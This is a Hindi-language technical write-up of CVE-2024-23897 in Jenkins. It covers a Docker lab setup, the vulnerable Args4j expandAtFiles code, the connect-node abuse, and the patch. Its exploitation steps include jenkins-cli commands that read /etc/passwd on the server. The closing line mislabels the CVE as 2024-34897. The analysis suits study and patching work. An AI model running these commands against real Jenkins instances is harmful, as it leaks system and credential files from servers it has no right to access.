
[CVE-2024-23897] Jenkins CI में CLI के माध्यम से प्रमाणित मनमानी फ़ाइल रीड, रिमोट कोड एक्ज़ीक्यूशन (RCE) की ओर ले जाती है
Jenkins जावा प्रोग्रामिंग भाषा में लिखा गया एक स्व-निहित ओपन सोर्स सतत एकीकरण/सतत वितरण और परिनियोजन (CI/CD) स्वचालन सॉफ्टवेयर DevOps उपकरण है। इसका उपयोग CI/CD वर्कफ़्लो को लागू करने के लिए किया जाता है, जिन्हें पाइपलाइन कहा जाता है।
Jenkins के पास स्क्रिप्ट या शेल वातावरण से Jenkins तक पहुँचने के लिए एक अंतर्निहित कमांड लाइन इंटरफ़ेस (CLI) है। Jenkins, CLI कमांड संसाधित करते समय Jenkins नियंत्रक पर कमांड तर्कों और विकल्पों को पार्स करने के लिए Args4j लाइब्रेरी का उपयोग करता है। इस कमांड पार्सर में एक सुविधा है जो किसी तर्क में @ वर्ण और उसके बाद फ़ाइल पथ को फ़ाइल की सामग्री से प्रतिस्थापित करती है (expandAtFiles)। यह सुविधा डिफ़ॉल्ट रूप से सक्षम है और Jenkins 2.441 and earlier, LTS 2.426.2 and earlier इसे अक्षम नहीं करते हैं।
यह हमलावरों को Jenkins नियंत्रक प्रक्रिया की डिफ़ॉल्ट कैरेक्टर एन्कोडिंग का उपयोग करके Jenkins नियंत्रक फ़ाइल सिस्टम पर मनमानी फ़ाइलें पढ़ने की अनुमति देता है।
पर्यावरण सेटअप
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

भेद्य कोड
यह ध्यान दिया जाना चाहिए कि यह भेद्यता SonarSource की भेद्यता अनुसंधान टीम द्वारा खोजी गई है और यह अनुभाग SonarSource के तकनीकी ब्लॉगपोस्ट से कॉपी किया गया है।
भेद्य कोड Args4j लाइब्रेरी में पाया जा सकता है,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
CmdLineParser.java क्लास में expandAtFiles विधि मूल रूप से किसी तर्क में @ वर्ण और उसके बाद फ़ाइल पथ को फ़ाइल की सामग्री से प्रतिस्थापित करती है: यह जाँचती है कि तर्क @ वर्ण से शुरू होता है या नहीं, और यदि ऐसा है, तो यह @ के बाद के पथ में फ़ाइल को पढ़ता है और प्रत्येक पंक्ति के लिए एक नया तर्क विस्तारित करता है। इसका मतलब है कि यदि कोई हमलावर किसी तर्क को नियंत्रित कर सकता है, तो वह इसे Jenkins उदाहरण पर किसी मनमानी फ़ाइल से मनमानी संख्या में तर्कों में विस्तारित कर सकता है।
एक तरीका जिससे हमलावर इसका लाभ उठा सकता है, वह है एक ऐसा कमांड ढूँढना जो मनमानी संख्या में तर्क लेता है और उन्हें उपयोगकर्ता को वापस प्रदर्शित करता है। चूँकि तर्क फ़ाइल की सामग्री से भरे जाते हैं, एक हमलावर इस तरह से फ़ाइल की सामग्री लीक कर सकता है। इस उद्देश्य के लिए hudson/cli में connect-node कमांड एक अच्छा उम्मीदवार है: यह एक स्ट्रिंग्स की सूची को तर्क के रूप में प्राप्त करता है और प्रत्येक से कनेक्ट करने का प्रयास करता है। यदि यह विफल रहता है, तो विफल कनेक्टेड नोड के नाम के साथ एक त्रुटि संदेश उत्पन्न होता है।
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
इस connect-node कमांड के लिए सामान्यतः CONNECT अनुमति की आवश्यकता होती है, जिसे cliConnect फ़ंक्शन में सत्यापित किया जाता है। लेकिन चूँकि अपवाद resolveForCLI फ़ंक्शन में अनुमति जाँच से पहले उत्पन्न होता है, इस कमांड को प्रारंभिक केवल-पठन सत्यापन के अलावा किसी भी प्राधिकरण की आवश्यकता नहीं होती है।
शोषण के चरण
सामान्यतः, Jenkins-cli में @ का उपयोग किसी फ़ाइल से बियरर टोकन या username:password युक्त फ़ाइल निर्दिष्ट करने के लिए किया जाता है।
Jenkins-cli के साथ एक प्रमाणित कमांड का उपयोग करने पर निम्नलिखित आउटपुट उत्पन्न होगा:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

@ वर्ण की सुविधा का उपयोग करके -auth स्विच में credentials.txt फ़ाइल निर्दिष्ट करने पर निम्नलिखित उत्पन्न होता है:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

पैच विश्लेषण
Jenkins सुरक्षा टीम ने expandAtFiles सुविधा को अक्षम करने वाली एक सुरक्षित कॉन्फ़िगरेशन प्रस्तुत करके CVE-2024-23897 को संबोधित किया। पैच में CVE-2024-23898 के लिए WebSocket एंडपॉइंट में उत्पत्ति सत्यापन जोड़ना शामिल है, जो अनधिकृत पहुँच को रोकता है।
प्रासंगिक कमिट: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX: यह वेरिएबल एक बूलियन है जो दर्शाता है कि '@' सिंटैक्स की अनुमति है या नहीं। इसे सिस्टम प्रॉपर्टीज़ से पढ़ा जाता है।ParserProperties: यह क्लास CmdLineParser को कॉन्फ़िगर करने के लिए प्रॉपर्टीज़ प्रदान करती है।withAtSyntax(ALLOW_AT_SYNTAX): यह ALLOW_AT_SYNTAX के मान के आधार पर ParserProperties में 'allowAtSyntax' प्रॉपर्टी सेट करता है।new CmdLineParser(this, properties): यह एक नया CmdLineParser इंस्टेंस बनाता है, जो वर्तमान ऑब्जेक्ट (this) और कॉन्फ़िगर की गई ParserProperties को पारित करता है।CVE-2024-34897 भेद्यता और क्रेडिट्स के बारे में अधिक जानकारी निम्नलिखित है: